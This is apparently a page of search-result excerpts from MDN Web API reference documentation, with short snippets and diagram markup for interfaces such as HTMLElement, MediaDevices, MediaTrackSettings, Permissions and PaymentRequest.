... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-ba...
...And 5 more matches
FileSystemDirectoryEntry.createReader() - Web APIs
the filesystemdirectoryentry interface's method createreader() returns a filesystemdirectoryreader object which can be used to read the entries in the directory.
... return value a filesystemdirectoryreader object which can be used to read the directory's entries.
... example this example creates a method called readdirectory(), which fetches all of the entries in the specified filesystemdirectoryentry and returns them in an array.
...And 5 more matches
GlobalEventHandlers.onanimationend - Web APIs
the animationend event fires when a css animation reaches the end of its active period (which is calculated as animation-duration * animation-iteration-count) + animation-delay).
... syntax var animendhandler = target.onanimationend; target.onanimationend = function value a function to be called when an animationend event occurs indicating that a css animation has begun on the target, where the target object is an html element (htmlelement), document (document), or window (window).
...that's because we don't want the box to start animating right away.
...And 5 more matches
GlobalEventHandlers.onanimationiteration - Web APIs
syntax var animiterationhandler = target.onanimationiteration; target.onanimationiteration = function value a function to be called when an animationiteration event occurs indicating that a css animation has reached the end of an iteration while running on the target, where the target object is an html element (htmlelement), document (document), or window (window).
... example let's create an animation which automatically pauses at the end of each iteration, allowing the user to choose whether or not to start the next iteration.
...that's because we don't want the box to start animating right away.
...And 5 more matches
GlobalEventHandlers.onerror - Web APIs
error events are fired at various targets for different kinds of errors: when a javascript runtime error (including syntax errors and exceptions thrown within handlers) occurs, an error event using interface errorevent is fired at window and window.onerror() is invoked (as well as handlers attached by window.addeventlistener (not only capturing)).
...these error events do not bubble up to window, but (at least in firefox) can be handled with a window.addeventlistener configured with usecapture set to true.
... syntax for historical reasons, different arguments are passed to window.onerror and element.onerror handlers (as well as on error-type window.addeventlistener handlers).
...And 5 more matches
Audio() - Web APIs
the audio() constructor creates and returns a new htmlaudioelement which can be either attached to a document for the user to interact with and/or listen to, or can be used offscreen to manage and play audio.
... usage notes you can also use other element-creation methods, such as the document object's createelement() method, to construct a new htmlaudioelement.
... determining when playback can begin there are three ways you can tell when enough of the audio file has loaded to allow playback to begin: check the value of the readystate property.
...And 5 more matches
HTMLBaseElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="1...
... specifications specification status comment html living standardthe definition of 'htmlbaseelement' in that specification.
... living standard html 5.1the definition of 'htmlbaseelement' in that specification.
...And 5 more matches
HTMLDListElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eve...
... htmldlistelement.compact is a boolean indicating that spacing between list items should be reduced.
... specifications specification status comment html living standardthe definition of 'htmldlistelement' in that specification.
...And 5 more matches
HTMLDivElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline...
... htmldivelement.align is a domstring representing an enumerated property indicating alignment of the element's contents with respect to the surrounding context.
... specifications specification status comment html living standardthe definition of 'htmldivelement' in that specification.
...And 5 more matches
HTMLElement: transitionend event - Web APIs
in the case where a transition is removed before completion, such as if the transition-property is removed or display is set to none, then the event will not be generated.
... bubbles yes cancelable yes interface transitionevent event handler property ontransitionend the transitionend event is fired in both directions - as it finishes transitioning to the transitioned state, and when it fully reverts to the default or non-transitioned state.
... if the transitioncancel event is fired, the transitionend event will not fire.
...And 5 more matches
HTMLFormElement.elements - Web APIs
independently, you can obtain just the number of form controls using the length property.
... you can access a particular form control in the returned collection by using either an index or the element's name or id.
... note: similarly, you can get a list of all of the forms contained within a given document using the document's forms property.
...And 5 more matches
HTMLFormElement: submit event - Web APIs
bubbles yes (although specified as a simple event that doesn't bubble) cancelable yes interface submitevent event handler property globaleventhandlers.onsubmit note that the submit event fires on the <form> element itself, and not on any <button> or <input type="submit"> inside it.
... however, the submitevent which is sent to indicate the form's submit action has been triggered includes a submitter property, which is the button that was invoked to trigger the submit request.
...the event is not sent to the form when calling the form.submit() method directly.
...And 5 more matches
HTMLHtmlElement - Web APIs
you can retrieve the htmlhtmlelement object for a given document by reading the value of the document.documentelement property.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... specifications specification status comment html living standardthe definition of 'htmlhtmlelement' in that specification.
...And 5 more matches
HTMLImageElement.longDesc - Web APIs
this can be used to provide optional added details beyond the short description provided in the title attribute.
... syntax descurl = htmlimageelement.longdesc; htmlimageelement.longdesc = descurl; value a domstring which may be either an empty string (indicating that no long description is available) or the url of a file containing a long form description of the image's contents.
...this can be used by readers both as an explanation, but also as a substitute for visually-impaired users.
...And 5 more matches
HTMLInputElement.setSelectionRange() - Web APIs
optionally, in newer browser versions, you can specify the direction in which selection should be considered to have occurred.
... this lets you indicate, for example, that the selection was set by the user clicking and dragging from the end of the selected text toward the beginning.
... this method updates the htmlinputelement.selectionstart, selectionend, and selectiondirection properties in one call.
...And 5 more matches
HTMLInputElement.stepUp() - Web APIs
nts: <input type="date" min="2019-12-25" step="7"> month 1 (month) 12 month (one year) increments: <input type="month" min="2019-12" step="12"> week 1 (week) two week increments: <input type="week" min="2019-w23" step="2"> time 60 (seconds) 900 second (15 minute) increments: <input type="time" min="09:00" step="900"> datetime-local 1 (day) same day of the week: <input type="datetime-local" min="019-12-25t19:30" step="7"> number 1 0.1 increments <input type="number" min="0" step="0.1" max="10"> range 1 increments by 2: <input type="range" min="0" step="2" max="10"> the method, when invoked, changes the form control's value by the value given in the step attribute, multi...
...the method will not cause the value to exceed the set max value, or defy the constraints set by the step attribute.
... a number between 0 and 400 that is divisible by 5: <input type="number" step="5" id="thenumber" min="0" max="400"> </label> </p> <p> <label>enter how many values of step you would like to increment by or leave it blank: <input type="number" step="1" id="incrementer" min="0" max="25"> </label> </p> <input type="button" value="increment" id="thebutton"> javascript /* make the button call the function */ let button = document.getelementbyid('thebutton') button.addeventlistener('click', function() { steponup() }) function steponup() { let input = document.getelementbyid('thenumber') let val = document.getelementbyid('incrementer').value if (val) { /* increment with a parameter */ input.stepup(val) } else { /* or without a parameter.
...And 5 more matches
HTMLLIElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middl...
... htmllielement.value is a long indicating the ordinal position of the list element inside a given <ol>.
... it reflects the value attribute of the html <li> element, and can be smaller than 0.
...And 5 more matches
HTMLMarqueeElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/htmlmarqueeelement" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmarqueeelement</text></a...
... htmlmarqueeelement.vspace sets the vertical margin.
...it can only fire when the behavior attribute is set to alternate.
...And 5 more matches
HTMLMedia​Element​.textTracks - Web APIs
you can detect when tracks are added to and removed from an <audio> or <video> element using the addtrack and removetrack events.
...instead, they're sent to the track list object of the htmlmediaelement that corresponds to the type of track that was added to the element the returned list is live; that is, as tracks are added to and removed from the media element, the list's contents change dynamically.
... once you have a reference to the list, you can monitor it for changes to detect when new text tracks are added or existing ones removed.
...And 5 more matches
HTMLModElement - Web APIs
the htmlmodelement interface provides special properties (beyond the regular methods and properties available through the htmlelement interface they also have available to them by inheritance) for manipulating modification elements, that is <del> and <ins>.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... specifications specification status comment html living standardthe definition of 'htmlanchorelement' in that specification.
...And 5 more matches
HTMLOListElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="mi...
...it can have the following values: '1' meaning that decimal numbers are used: 1, 2, 3, 4, 5, … 'a' meaning that the lowercase latin alphabet is used: a, b, c, d, e, … 'a' meaning that the uppercase latin alphabet is used: a, b, c, d, e, … 'i' meaning that the lowercase latin numerals are used: i, ii, iii, iv, v, … 'i' meaning that the uppercase latin numerals are used: i, ii, iii, i...
...v, v, … htmlolistelement.compact is a boolean indicating that spacing between list items should be reduced.
...And 5 more matches
HTMLElement.focus() - Web APIs
the htmlelement.focus() method sets focus on the specified element, if it can be focused.
...this object may contain the following property: preventscroll optional a boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view.
...l:true}); } html <button type="button" onclick="focusscrollmethod()">click me to focus on the button!</button> <button type="button" onclick="focusnoscrollmethod()">click me to focus on the button without scrolling!</button> <div id="container" style="height: 1000px; width: 1000px;"> <button type="button" id="mybutton" style="margin-top: 500px;">click me!</button> </div> result specification specification status comment html living standardthe definition of 'focus' in that specification.
...And 5 more matches
HTMLSelectElement.type - Web APIs
syntax var str = selectelt.type; the possible values are: "select-multiple" if multiple values can be selected.
... "select-one" if only one value can be selected.
... example switch (select.type) { case 'select-multiple': // multiple values may be selected break; case 'select-one': // only one value may be selected break; default: // non-standard value (or this isn't a select element) } specifications specification status comment html living standardthe definition of 'htmlselectelement' in that specification.
...And 5 more matches
HTMLStyleElement - Web APIs
this interface doesn't allow to manipulate the css it contains (in most case).
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,...
... linkstyle.sheet read only returns the stylesheet object associated with the given element, or null if there is none htmlstyleelement.scoped is a boolean value indicating if the element applies to the whole document (false) or only to the parent's sub-tree (true).
...And 5 more matches
HTMLTableColElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget<...
... htmltablecolelement.align is a domstring that indicates the horizontal alignment of the cell data in the column.
... htmltablecolelement.span is an unsigned long that reflects the span html attribute, indicating the number of columns to apply this object's attributes to.
...And 5 more matches
HTMLTitleElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 ...
... specifications specification status comment html living standardthe definition of 'htmltitleelement' in that specification.
... living standard html 5.1the definition of 'htmltitleelement' in that specification.
...And 5 more matches
IDBCursorWithValue - Web APIs
the cursor has a source that indicates which index or object store it is iterating over.
...the cursor enables an application to asynchronously process all the records in the cursor's range.
... you can have an unlimited number of cursors at the same time.
...And 5 more matches
IDBIndexSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed from the spec because its need was questionable.
... unique readonly boolean if true, a key can have only one value within the index; if false, a key can have duplicate values.
... any add( in any value, in optional any key ) raises (idbdatabaseexception); parameters returns exceptions this method can raise a idbdatabaseexception with the following code: value the value to store into the index.
...And 5 more matches
InstallEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace"...
... examples this code snippet is from the service worker prefetch sample (see prefetch running live.) the code calls extendableevent.waituntil() in serviceworkerglobalscope.oninstall and delays treating the serviceworkerregistration.installing worker as installed until the passed promise resolves successfully.
... the promise resolves when all resources have been fetched and cached, or when any exception occurs.
...And 5 more matches
install - Web APIs
summary installs one or more xpi files on the local machine.
... method of installtrigger object syntax int install(array xpilist [, function callbackfunc ] ) parameters the install method has the following parameters: xpilist an array of files to be installed (see example below).
... callbackfunc an optional callback function invoked when the installation is complete (see example below).
...And 5 more matches
KeyboardEvent.initKeyEvent() - Web APIs
initkeyevent() must be called to set the event before it is dispatched.
... this method is based on early drafts of document object model (dom) level 2 events specification and is implemented in gecko-based browsers; other browsers implemented keyboardevent.initkeyboardevent based on early drafts of document object model (dom) level 3 events specification.
... syntax event.initkeyevent (type, bubbles, cancelable, viewarg, ctrlkeyarg, altkeyarg, shiftkeyarg, metakeyarg, keycodearg, charcodearg) parameters type is a domstring representing the type of event.
...And 5 more matches
MSSiteModeEvent - Web APIs
*note that as of microsoft edge, the createevent()/initevent() constructor pattern for synthetic events is deprecated.
... preventdefault cancels the default action of an event.
... bubbles gets a value that indicates whether an event propagates up from the event target.
...And 5 more matches
MediaDeviceInfo - Web APIs
the list of devices obtained by calling navigator.mediadevices.enumeratedevices() is an array of mediadeviceinfo objects, one per media device.
...it is un-guessable by other applications and unique to the origin of the calling application.
...two devices have the same group identifier if they belong to the same physical device — for example a monitor with both a built-in camera and a microphone.
...And 5 more matches
MediaDevices - Web APIs
the mediadevices interface provides access to connected media input devices like cameras and microphones, as well as screen sharing.
... getsupportedconstraints() returns an object conforming to mediatracksupportedconstraints indicating which constrainable properties are supported on the mediastreamtrack interface.
... see capabilities and constraints in media capture and streams api (media stream) to learn more about constraints and how to use them.
...And 5 more matches
MediaPositionState.playbackRate - Web APIs
the mediapositionstate dictionary's playbackrate property is used when calling the mediasession method setpositionstate() to tell the user agent the rate at which media is currently being played.
... this information can then, in turn, be used by the user agent to provide a user interface which displays media playback information to the viewer.
...a value of 1.0 indicates the media is playing forward at normal speed, while higher values indicate that the media is being played faster than normal.
...And 5 more matches
MediaRecorder.ondataavailable - Web APIs
the dataavailable event is fired when the mediarecorder delivers media data to your application for its use.
... when mediarecorder.stop() is called, all media data which has been captured since recording began or the last time a dataavailable event occurred is delivered in a blob; after this, capturing ends.
... when mediarecorder.requestdata() is called, all media data which has been captured since recording began or the last time a dataavailable event occurred is delivered; then a new blob is created and media capture continues into that blob.
...And 5 more matches
MediaSource - Web APIs
a mediasource object can be attached to a htmlmediaelement to be played in the user agent.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/med...
... mediasource.clearliveseekablerange() clears a seekable range previously set with a call to setliveseekablerange().
...And 5 more matches
MediaStreamConstraints.audio - Web APIs
the mediastreamconstraints dictionary's audio property is used to indicate what kind of audio track, if any, should be included in the mediastream returned by a call to getusermedia().
... to learn more about how constraints work, see capabilities, constraints, and settings.
... syntax var audioconstraints = true | false | mediatrackconstraints; value the value of the audio property can be specified as either of two types: boolean if a boolean value is specified, it simply indicates whether or not an audio track should be included in the returned stream; if it's true, an audio track is included; if no audio source is available or if permission is not given to use the audio source, the call to getusermedia() will fail.
...And 5 more matches
MediaStreamConstraints.video - Web APIs
the mediastreamconstraints dictionary's video property is used to indicate what kind of video track, if any, should be included in the mediastream returned by a call to getusermedia().
... to learn more about how constraints work, see capabilities, constraints, and settings.
... syntax var videoconstraints = true | false | mediatrackconstraints; value the value of the video property can be specified as either of two types: boolean if a boolean value is specified, it simply indicates whether or not a video track should be included in the returned stream; if it's true, a video track is included; if no video source is available or if permission is not given to use the video source, the call to getusermedia() will fail.
...And 5 more matches
MediaStreamTrack.stop() - Web APIs
syntax track.stop() description calling stop() tells the user agent that the track's source—whatever that source may be, including files, network streams, or a local camera or microphone—is no longer needed by the mediastreamtrack.
... immediately after calling stop(), the readystate property is set to ended.
... examples stopping a video stream in this example, we see a function which stops a streamed video by calling stop() on every track on a given <video>.
...And 5 more matches
MediaTrackConstraints.autoGainControl - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.autogaincontrol as returned by a call to mediadevices.getsupportedconstraints().
... however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... automatic gain control is typically a feature provided by microphones, although it can be provided by other input sources as well.
...And 5 more matches
MediaTrackConstraints.latency - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.latency as returned by a call to mediadevices.getsupportedconstraints().
... however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... because rtp doesn't include this information, tracks associated with a webrtc rtcpeerconnection will never include this property.
...And 5 more matches
MediaTrackConstraints.noiseSuppression - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.noisesuppression as returned by a call to mediadevices.getsupportedconstraints().
... however, typically this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... noise suppression is typically provided by microphones, although it can be provided by other input sources as well.
...And 5 more matches
MediaTrackSettings.frameRate - Web APIs
the mediatracksettings dictionary's framerate property is a double-precision floating-point number indicating the frame rate, in frames per second, of the mediastreamtrack as currently configured.
... this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.framerate property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.framerate as returned by a call to mediadevices.getsupportedconstraints().
...And 5 more matches
MediaTrackSettings.height - Web APIs
the mediatracksettings dictionary's height property is an integer indicating the number of pixels tall mediastreamtrack is currently configured to be.
... this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.height property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.height as returned by a call to mediadevices.getsupportedconstraints().
...And 5 more matches
MediaTrackSettings.sampleRate - Web APIs
the mediatracksettings dictionary's samplerate property is an integer indicating how many audio samples per second the mediastreamtrack is currently configured for.
... this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.samplerate property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.samplerate as returned by a call to mediadevices.getsupportedconstraints().
...And 5 more matches
MediaTrackSettings.sampleSize - Web APIs
the mediatracksettings dictionary's samplesize property is an integer indicating the linear sample size (in bits per sample) the mediastreamtrack is currently configured for.
... this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.samplesize property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.samplesize as returned by a call to mediadevices.getsupportedconstraints().
...And 5 more matches
MediaTrackSettings.width - Web APIs
the mediatracksettings dictionary's width property is an integer indicating the number of pixels wide mediastreamtrack is currently configured to be.
... this lets you determine what value was selected to comply with your specified constraints for this property's value as described in the mediatrackconstraints.width property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.width as returned by a call to mediadevices.getsupportedconstraints().
...And 5 more matches
MutationObserver.takeRecords() - Web APIs
the mutationobserver method takerecords() returns a list of all matching dom changes that have been detected but not yet processed by the observer's callback function, leaving the mutation queue empty.
... the most common use case for this is to immediately fetch all pending mutation records immediately prior to disconnecting the observer, so that any pending mutations can be processed when stopping down the observer.
... note: the queue of mutations which have occurred, but not been delivered to the observer's callback is left empty after calling takerecords().
...And 5 more matches
NamedNodeMap - Web APIs
although called namednodemap, this interface doesn't deal with node objects but with attr objects, which were originally a specialized class of node, and still are in some implementations.
... namednodemap.getnameditemns() returns a attr identified by a namespace and related local name.
... namednodemap.setnameditemns() replaces, or adds, the attr identified in the map by the given namespace and related local name.
...And 5 more matches
Navigator.msLaunchUri() - Web APIs
syntax navigator.mslaunchuri(uri, successcallback, nohandlercallback); parameters uri a domstring specifying the url containing including the protocol of the document or resource to be displayed.
... successcallbackoptional a function matching the signature of mslaunchuricallback to be executed if the protocol handler is present.
... nohandlercallbackoptional a function matching mslaunchuricallback to be executed if the protocol handler is not present.
...And 5 more matches
NavigatorID.userAgent - Web APIs
the specification asks browsers to provide as little information via this field as possible.
... also keep in mind that users of a browser can change the value of this field if they want (ua spoofing).
... browser identification based on detecting the user agent string is unreliable and is not recommended, as the user agent string is user configurable.
...And 5 more matches
Network Information API - Web APIs
this can be used to select high definition content or low definition content based on the user's connection.
...this example would be called soon after page load to check for a connection type where preloading a video may not be desirable.
...a real-world use case would likely use a switch statement or some other method to check all of the possible values of networkinformation.type.
...And 5 more matches
Node.cloneNode() - Web APIs
WebAPINodecloneNode
the node.clonenode() method returns a duplicate of the node on which this method was called.
... *note: in the dom4 specification (since gecko 13.0 (firefox 13 / thunderbird 13 / seamonkey 2.10)), the optional deep argument defaults to true.
...additionally, for a <canvas> element, the painted image is not copied.
...And 5 more matches
PannerNode.coneOuterGain - Web APIs
the coneoutergain property's default value is 0, meaning that no sound can be heard outside the cone.
...the default is 0, and its value can be in the range 0–1.
...to help us visualise how the orientation vector affects, we can use the right-hand rule: first, let's start by writing a utility function to figure out our orientation vector.
...And 5 more matches
PasswordCredential - Web APIs
note: this interface is restricted to top-level contexts and cannot be used from an <iframe>.
...the url must be accessible without authentication.
...}); specifications specification status comment credential management level 1 working draft initial definition.
...And 5 more matches
PaymentRequest: paymentmethodchange event - Web APIs
for example, if the user switches from one credit card to another on their apple pay account, a paymentmethodchange event is fired to let you know about the change.
... bubbles no cancelable no interface paymentmethodchangeevent event handler property onpaymentmethodchange examples let's take a look at an example.
... this code creates a new paymentrequest, adds a handler for the paymentmethodchange event by calling the request's addeventlistener(), then calls show() to present the payment interface to the user.
...And 5 more matches
PaymentRequest: shippingoptionchange event - Web APIs
the string identifying the currently-selected shipping option can be found in the shippingoption property.
... bubbles no cancelable no interface paymentrequestupdateevent event handler property onshippingoptionchange examples this code snippet sets up a handler for the shippingoptionchange event.
... the code recalculates the total charge for the payment based on the selected shipping option.
...And 5 more matches
PerformanceResourceTiming - Web APIs
the performanceresourcetiming interface enables retrieval and analysis of detailed network timing data regarding the loading of an application's resources.
... an application can use the timing metrics to determine, for example, the length of time it takes to fetch a specific resource, such as an xmlhttprequest, <svg>, image, or script.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,...
...And 5 more matches
Using Performance Timeline - Web APIs
the performance timeline standard defines extensions to the performance interface to support client-side latency measurements within applications.
... the standard also includes interfaces that allow an application to be notified when specific performance events occur.
... together, these interfaces can be used to help identify an application's performance bottlenecks.
...And 5 more matches
PeriodicWave - Web APIs
the periodicwave interface defines a periodic waveform that can be used to shape the output of an oscillatornode.
... periodicwave has no inputs or outputs; it is used to define custom oscillators when calling oscillatornode.setperiodicwave().
... var real = new float32array(2); var imag = new float32array(2); var ac = new audiocontext(); var osc = ac.createoscillator(); real[0] = 0; imag[0] = 0; real[1] = 1; imag[1] = 0; var wave = ac.createperiodicwave(real, imag, {disablenormalization: true}); osc.setperiodicwave(wave); osc.connect(ac.destination); osc.start(); osc.stop(2); this works because a sound that contains only a fundamental tone is by definition a sine wave here, we create a periodicwave with two values.
...And 5 more matches
Permissions.query() - Web APIs
WebAPIPermissionsquery
an up-to-date list of permission names can be found in the spec under the permissionname enum, but bear in mind that the actual permissions supported by browsers is currently much smaller than this.
... firefox for example currently supports geolocation, notifications, push, and persistent-storage (see our permissions.webidl file).
... uservisibleonly: (push only, not supported in firefox — see the browser support section below) indicates whether you want to show a notification for every message or be able to send silent push notifications.
...And 5 more matches
Permissions API - Web APIs
for example, the permissions api can be used to determine if permission to access a particular api has been granted or denied.
... concepts and usage historically different apis handle their own permissions inconsistently — for example the notifications api allows for explicit checking of permission status and requesting permission, whereas the geolocation api doesn't (which causes problems if the user denied the initial permission request).
... once you have this object you can then perform permission-related tasks, for example querying a permission using the permissions.query() method to return a promise that resolves with the permissionstatus for a specific api.
...And 5 more matches
PositionOptions - Web APIs
the positionoptions dictionary describes an object containing option properties to pass as a parameter of geolocation.getcurrentposition() and geolocation.watchposition().
... properties positionoptions.enablehighaccuracy secure context is a boolean that indicates the application would like to receive the best possible results.
